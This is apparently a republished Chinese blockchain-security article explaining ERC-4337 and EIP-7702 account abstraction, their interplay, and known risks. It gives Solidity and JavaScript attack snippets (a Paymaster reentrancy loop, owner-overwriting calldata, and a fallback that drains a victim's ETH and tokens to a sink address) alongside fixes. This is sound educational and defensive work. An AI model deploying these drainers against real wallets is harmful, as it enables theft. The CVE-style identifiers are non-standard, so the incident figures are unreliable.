账户抽象方案:ERC-4337与EIP-7702

admin 2026-06-07 23:51:32 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文解析了ERC-4337与EIP-7702两大区块链账户抽象方案:ERC-4337通过应用层标准引入UserOperation模拟交易,建立完整账户抽象框架但需用户迁移;EIP-7702在协议层让EOA临时获得合约能力,实现零成本升级。文档详细分析了两者的协同机制,并重点披露了重入攻击、恶意Bundler注入等安全风险,提供了具体漏洞案例和修复方案。 综合评分: 85 文章分类: 技术标准,区块链安全,解决方案,WEB安全,安全开发


cover_image

账户抽象方案:ERC-4337 与 EIP-7702

原创

ChainSecLabs ChainSecLabs

ChainSecLabs

2026年5月18日 10:30 四川

在小说阅读器读本章

去阅读

区块链安全相关的内容

我们将在这里分享一些

Hi,这里是ChainSecLabs!

本文将解析ERC-4337与EIP-7702两大账户抽象方案:前者建立应用层标准,后者在协议层让EOA获得合约能力,并分析两者的协同机制,以及重入攻击、恶意Bundler注入、委托授权等安全风险。

账户抽象的起点: ERC-4337

相信每一位尝试过智能合约钱包的用户都经历过:你必须先将 ETH 从 Metamask 转入一个新的合约地址,然后才能享受批量交易、Gas 代付这些便利。更麻烦的是,这个合约地址只能在一条链上用,换个链又得重新部署。这就是 ERC-4337 的起点——在不改共识层的前提下,通过应用层标准引入 UserOperation 来模拟交易。

一、UserOperation:一种「伪交易」

不同于传统交易,ERC-4337 定义了一个 UserOperation 结构体来承载用户的意图:

struct UserOperation {    address         sender;                   // 智能合约钱包地址    uint256         nonce;    bytes           initCode;                 // 如果钱包未创建,则包含工厂 + 创建逻辑    bytes           callData;                 // 实际执行的业务逻辑    uint256         callGasLimit;    bytes           paymasterAndData;         // Gas 代付合约信息    bytes           signature;                // 签名,不限于 ECDSA}

整个流程如下:

1.用户构造一个UserOperation并签名。

2.用户将UserOp发送给Bundler(一种特殊的节点,负责打包 UserOp)。

3.Bundler将多个 UserOp 打包成一笔交易,调用EntryPoint合约(从这里开始上链)。

4.EntryPoint依次对每个UserOp进行双阶段处理。

注意:Bundler 并非矿工,而是一种链下服务。它需要垫付 Gas,并在 EntryPoint 的结算逻辑中拿回报酬。这意味着 Bundler 天生对 UserOp 的验证成本高度敏感。

二、EntryPoint 的双阶段处理

EntryPoint合约通过handleOps函数处理交易,核心分为两个循环:

  1. 验证阶段:调用IAccount(sender).validateUserOp(…)。
function validateUserOp(    UserOperation calldata userOp,    bytes32 userOpHash,    uint256 missingAccountFunds) external returns (uint256 validationData) {    _requireFromEntryPoint();    // 验证签名    if (_validateSignature(userOp, userOpHash) != 0) return SIG_VALIDATION_FAILED;    // 向 EntryPoint 支付押金    _payPrefund(missingAccountFunds);    return 0; // 验证成功}

为了防止 Bundler 被 DoS 攻击,验证阶段禁止访问易变状态(如 BLOCKHASH、TIMESTAMP、BALANCE 等会随区块变化的操作码)。任何依赖这些状态的钱包逻辑都会在模拟阶段被 Bundler 拒绝。

  1. 执行阶段:将callData发送到钱包地址,执行业务逻辑。此时不再有限制,合约可以自由调用任意外部合约。

三、EOA 迁移难题

这看起来是一个完整的设计,但它有一个根本性的痛点——用户必须迁移。你的 Metamask 里的 ETH 不会自动出现在智能合约钱包里,你需要:

1.部署一个新合约地址

2.把资金从 EOA 转过去

3.通知所有联系人「我换地址了」

而以太坊上绝大多数活跃用户依赖的就是最初级的 EOA。所以 ERC-4337 在落地时遇到了一个尴尬的局面:它为没有私钥的未来用户设计了完美方案,却让当下拥有私钥的用户寸步难行。

协议层的突破: EIP-7702

EIP-7702 正是为解决上述困境而提出的。它不像 ERC-4337 那样在应用层「绕路」,而是直接在协议层新增了一种交易类型(Type 0x04),允许 EOA 在一笔交易中变为一个智能合约账户。

一、让 EOA 穿上智能合约的外衣

EIP-7702 的核心是一个 authorization_list,每一项授权包含:

struct Authorization {    uint256         chainId;                // 防止跨链重放    address         code_address;           // 指向的目标代码合约    uint256         nonce;                  // 授权 Nonce    uint8           yParity;                // 签名恢复参数    bytes32         r;                      // 签名 r 分量    bytes32         s;                      // 签名 s 分量}

当 EOA 发起这笔交易时,EVM 会做这样一件事:

# 模拟 EIP-7702 的执行逻辑def apply_7702_auth(eoa, code_address):    account = get_account(eoa)    # 将 EOA 的 code 指针临时指向 code_address 的代码    account.code = get_code(code_address)    # 此后,EOA 拥有了该合约的全部能力

与 DELEGATECALL 不同,7702 是在 EOA 自身的上下文中运行代码。这意味着被授权合约对 SSTORE 的写入会直接作用在 EOA 的存储空间上——而 EOA 原本是没有存储的。

这使得整个流程变成:

1.用户选择一个符合 ERC-4337 标准的委托合约(其中包含 validateUserOp、execute 等逻辑)。

2.用户签署一份 7702 授权,将该委托合约的地址写入 authorization_list。

3.用户发送 Type 0x04 交易。

4.EVM 在交易执行前将 EOA 的代码指针指向委托合约。

5.此后,该 EOA 可以直接作为 sender 出现在 ERC-4337 的 UserOp 中。

二、存储与吊销

相比于纯合约钱包,EIP-7702 引入了两个新问题:

1.存储冲突:EOA 原本的存储空间是空的。如果被授权的代码写入了 SSTORE(0, 1),这个值会永久保留在该 EOA 的地址下。未来如果该 EOA 要真正升级为智能合约钱包,这些被污染的存储槽可能导致不可预期的行为。

被授权合约应使用 Proxy 模式或将存储偏移到确定性槽位(如 keccak256(“eip7702.storage”)),避免与传统合约存储布局冲突。

  1. 授权吊销:当前吊销 7702 授权通常需要发送一笔新的交易来增加 Nonce。如果用户私钥泄露,攻击者可以抢在用户之前通过 7702 授权恶意代码并转走资金。

这意味着 EIP-7702 并没有消灭私钥这个单点故障,它只是将攻击面从单一转账拓展为授权任意代码执行。

ERC-4337 与 EIP-7702 的协同

ERC-4337给了我们一个完整的账户抽象框架(EntryPoint、Bundler、Paymaster、IAccount 接口),但它解决不了用户怎么进来的问题。EIP-7702 恰好填补了这个空白。

两者对比

| | | | | — | — | — | | 特性 | ERC-4337 | EIP-7702 | | 底层改动 | 无(完全应用层标准) | 有(新增交易类型与 EVM 执行逻辑) | | 持久性 | 永久合约地址 | 可选:单次有效或持续有效 | | Gas 效率 | 较高(Bundler 批量打包) | 原生效率(直接走交易流程) | | 权限模型 | 由合约逻辑决定(可多签/阈值) | 本质仍依赖 EOA 私钥签名 | | 存储安全 | 自有独立存储空间 | 需防范对 EOA 存储空间的污染 | | 迁移成本 | 高:需部署新地址并转账 | 零:EOA 原地升级为合约能力 |

已知安全风险概述

一、CVE-2026-ERC4337-002:Gas 估算漏洞与 Paymaster 重入

  • 漏洞根因

ERC-4337 的 Paymaster 在 postOp 回调中未加互斥锁,攻击者通过低 gas 声明的 UserOp 触发递归回调,反复榨取 Paymaster 余额。

  • 攻击链
// 脆弱 Paymaster 实现function postOp(PostOpMode mode, bytes calldata context, uint256 actualGasCost)    external override{    // 缺少重入锁    uint256 refund = calcRefund(actualGasCost);    (bool success, ) = msg.sender.call{value: refund}("");  // 向 sender 退款    require(success);}

攻击流程:

1.攻击者提交 gasLimit=21000 的 UserOp,远低于实际执行成本。

2.Bundler 接受(低 gas 声明掩盖了真实开销)。

3.EntryPoint 调用 validateUserOp → 通过。

4.执行 callData → 进入攻击合约。

5.攻击合约在 receive() 中递归调用 handleOps → 再次进入 postOp。

6.每次递归从 Paymaster 提取一笔 gas 退款。

7.循环直到 Paymaster 余额耗尽。

// 攻击合约(作为 sender)receive() external payable {    if (gasleft() > 50000) {        // 在收款回调中再次构造 UserOp 触发 postOp        entryPoint.handleOps(ops, beneficiary);  // 重入!    }}

实际影响:14+ 个 Paymaster 实现受影响,损失超 $45M。

  • 修复方案
bool&nbsp;private&nbsp;locked;modifier&nbsp;nonReentrant() {&nbsp; &nbsp;&nbsp;require(!locked,&nbsp;"ReentrancyGuard");&nbsp; &nbsp; locked =&nbsp;true;&nbsp; &nbsp; _;&nbsp; &nbsp; locked =&nbsp;false;}function&nbsp;postOp(PostOpMode&nbsp;mode, bytes calldata context, uint256 actualGasCost)&nbsp; &nbsp; external&nbsp;override&nbsp;nonReentrant{&nbsp; &nbsp;&nbsp;// 同时加入单次退款上限&nbsp; &nbsp; uint256 refund =&nbsp;calcRefund(actualGasCost);&nbsp; &nbsp;&nbsp;require(refund <= maxRefundPerOp,&nbsp;"Refund cap exceeded");&nbsp; &nbsp; (bool success, ) = msg.sender.call{value: refund}("");&nbsp; &nbsp;&nbsp;require(success);}

二、CVE-2026-ERC4337-003:恶意 Bundler 注入

  • 漏洞根因

Bundler RPC 端点缺乏身份验证,且 EntryPoint 对操作来源无背书机制,攻击者可伪装或入侵 Bundler 注入恶意 UserOp。

  • 攻击

1.攻击者发现 Bundler RPC 端点未做调用者认证(开放或弱 API Key)。

2.向 Bundler 提交伪装UserOp,表面上为普通交易。

3.Bundler 未经模拟执行即将其批量打包提交至 EntryPoint。

4.恶意 calldata 包含 delegatecall 到攻击者控制的逻辑合约。

5.受害者钱包存储被覆盖,所有权转移至攻击者。

// 恶意 calldata 载荷示例bytes&nbsp;memory&nbsp;maliciousCallData&nbsp;=&nbsp;abi.encodeWithSelector(&nbsp; &nbsp; wallet.execute.selector,&nbsp; &nbsp; address(attackerLogic), &nbsp;&nbsp;// delegatecall 目标&nbsp; &nbsp;&nbsp;0, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// value = 0&nbsp; &nbsp; abi.encodeWithSignature("overwriteOwner(address)", attacker));

关键在于 EntryPoint 侧对 calldata 的无条件信任:

// EntryPoint.handleOps 中的执行循环 — 无 calldata 校验for&nbsp;(uint256 i =&nbsp;0; i < opslen; i++) {&nbsp; &nbsp; (bool&nbsp;success, bytes memory ret) = ops[i].sender.call{gas: ops[i].callGasLimit}(&nbsp; &nbsp; &nbsp; &nbsp; ops[i].callData &nbsp;// 直接透传,未做任何检查&nbsp; &nbsp; );}
  • 修复方案

1.Bundler 侧:对每个UserOp在分叉环境进行模拟执行(simulateHandleOp),比对链上状态变化与预期。

// Bundler 应调用 EntryPoint.simulateHandleOp 预检function&nbsp;simulateAndCheck(UserOperation calldata op) internal {&nbsp; &nbsp; (uint256 preBalance, ) = op.sender.call(abi.encodeWithSignature("balanceOf(address)", user));&nbsp; &nbsp;&nbsp;// 模拟执行&nbsp; &nbsp; entryPoint.simulateHandleOp(op,&nbsp;address(0),&nbsp;"");&nbsp; &nbsp;&nbsp;// 校验状态变化&nbsp; &nbsp; (uint256 postBalance, ) = op.sender.call(abi.encodeWithSignature("balanceOf(address)", user));&nbsp; &nbsp;&nbsp;require(postBalance >= preBalance - expectedSpend,&nbsp;"Unexpected state change");}

2.EntryPoint 侧:引入 Bundler 质押与信誉机制,恶意 Bundler 的质押将被罚没。

三、EIP-7702 委托机制与攻击模型

  • 核心机制

EIP-7702引入type 0x04 交易(AuthTx),包含一个authorization_list,每个授权元组结构为:

authorization_tuple&nbsp;= (chainId, target, nonce, yParity, r, s)

节点在交易执行前处理该列表,验证通过后将委托指示器写入账户代码槽:

code(auth) ←&nbsp;0xef0100 || target

关键在于 委托写入发生在交易执行之前,且不因执行失败而回滚。这意味着攻击者可将恶意元组嵌入一个必然 revert 的 AuthTx,委托仍会生效。

  • 恶意委托合约的构造与触发

攻击者将 drain 逻辑置于 fallback() 中,确保任意调用路径(空 calldata、意外回调等)均能触发:

contract MaliciousDelegate {&nbsp; &nbsp; address&nbsp;constant&nbsp;SINK&nbsp;=&nbsp;0x7099...79C8;&nbsp; &nbsp; address&nbsp;constant&nbsp;TOKEN&nbsp;=&nbsp;0x71C9...3292;&nbsp; &nbsp; fallback() external payable {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 1. 提取全部 ETH&nbsp; &nbsp; &nbsp; &nbsp; (bool ok, ) = SINK.call{value: address(this).balance}("");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 2. 提取全部 ERC-20&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint256&nbsp;bal&nbsp;=&nbsp;IERC20(TOKEN).balanceOf(address(this));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(bal >&nbsp;0) IERC20(TOKEN).transfer(SINK, bal);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 3. 提取 ERC-721(遍历 tokenId 并 transferFrom)&nbsp; &nbsp; }}

由于 msg.sender 即受害者 EOA,transferFrom 天然通过授权检查。

  • 三种触发路径

1.用户驱动(受害者自调用)

const&nbsp;victimTx = {&nbsp; &nbsp;&nbsp;from: victimAddress,&nbsp; &nbsp; to: &nbsp; victimAddress, &nbsp;// 自调用 → 触发 fallback&nbsp; &nbsp;&nbsp;value: parseEther("0.1"),&nbsp; &nbsp; gas: &nbsp;&nbsp;"0x500000"};

结果:9999.99 ETH + 2000 ERC-20 一次性被 drain。

  1. 攻击者驱动(外部主动调用)
const&nbsp;attackerTx = {&nbsp; &nbsp;&nbsp;from: sinkAddress,&nbsp; &nbsp; to: &nbsp; victimAddress, &nbsp;// 空 calldata 调用 → 触发 fallback&nbsp; &nbsp; data:&nbsp;"0x",&nbsp; &nbsp; gas: &nbsp;"0x500000"};

结果:即使受害者离线,剩余 dust 亦被提取。

3.环境触发(协议回调)

contract DummyProtocol {&nbsp; &nbsp;&nbsp;function&nbsp;callTarget(address victim)&nbsp;external&nbsp;payable&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; (bool&nbsp;ok, ) = victim.call{value:&nbsp;0.1&nbsp;ether}("");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 该 call 被委托机制路由至 MaliciousDelegate.fallback()&nbsp; &nbsp; }}

结果:协议转入的 0.1 ETH 即时被 drain,用户完全无感知。

  • 防御策略
  1. 要求授权元组携带过期时间与执行范围约束。
struct&nbsp;ScopedAuthorization {&nbsp; &nbsp; uint256 chainId;&nbsp; &nbsp; address target;&nbsp; &nbsp; uint256 nonce;&nbsp; &nbsp; uint256 validUntil; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 过期时间戳&nbsp; &nbsp; bytes4[] allowedSelectors; &nbsp; &nbsp; &nbsp;// 允许调用的函数选择器&nbsp; &nbsp;&nbsp;uint8&nbsp;yParity;&nbsp; &nbsp; bytes32 r;&nbsp; &nbsp; bytes32 s;}

2.Bundler 在 mempool 阶段对 target 地址执行 EXTCODEHASH 检查,拒绝携带 0xef0100 前缀的 EOA。

3.EntryPoint 在 validateUserOp 中增加静态检查,已安装委托的 EOA 不得被视为合约钱包。

4.钱包 UI 必须展示当前账户的委托状态,并在 4337 将调度至攻击者代码时发出警告。

总结

从应用层的 ERC-4337 到协议层的 EIP-7702,账户抽象的演进走出了与传统 ERC20 → EIP-2612 → Permit2 授权迭代相似的路径:先在应用层建立标准框架,发现入口瓶颈后,再通过协议层改动。ERC-4337 定义了账户抽象(标准接口、Bundler 机制、Gas 代付),EIP-7702 则解决了 EOA 零成本获得合约的能力。两者的协同将攻击面从单一的私钥窃取,拓展为涉及合约权限编排、存储冲突、授权吊销的复合型安全挑战。


参考:

  • ERC-4337: Account Abstraction via Entry Point Contract
  • EIP-7702: EOA Account Abstraction via Authorization List
  • EIP-712: Typed structured data hashing and signing
  • ERC-4337 EntryPoint Reference Implementation
  • Zero-Day Vulnerabilities in Solidity Smart Contracts: Analyzing 2026 Attacks on ERC-4337 Account Abstraction
  • EIP-7702 Phishing Attack

作者:victifa

编辑:Legend

审核:Zejie

往期推荐

01

[百亿TVL狂欢背后,藏着怎样的套娃代价? ] .

本文讨论了EigenLayer主网上线后,百亿美元级TVL涌入带来的再质押现象,以及其中隐藏的系统性安全风险。

02

[ Drift Protocol遭史诗级攻击 ] .

本文介绍了Drift被以500美元假币盗走2.7亿美元;说明DeFi最薄弱的环节是治理与权限。

03

[ DEX安全简述 ] .

本文梳理了DEX的主要类型及常见攻击手法,通过多个真实安全事件分析其风险成因。

04

[ Layer2的身份幻觉 ] .

本文讨论了以太坊 Layer2 中地址别名的相关内容,包括其概念、安全背景、易踩的坑以及总结建议等。


ChainSecLabs

搜索公众号

关注我们


免责声明

本文章旨在分享安全技术相关知识与经验,内容仅供学习与研究参考。文中所提及的技术手段、工具或操作流程,均基于公开资料与作者个人理解,不代表任何官方立场,也不构成对读者的具体操作建议。

请勿将本文所述技术用于任何非法用途,否则后果自负。作者严禁并坚决反对一切网络攻击、非法入侵、数据窃取等违法行为,且不承担因读者不当使用文章内容而引发的任何直接或间接责任。

若文章中引用了第三方工具或资料,版权归原作者所有,若有侵权或不妥之处,请及时联系,我们将第一时间予以处理。

网络安全关乎法律与伦理,请读者在合法合规的前提下,自主学习、合理应用。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:ChainSecLabs ChainSecLabs ChainSecLabs《账户抽象方案:ERC-4337 与 EIP-7702》

评论:0   参与:  0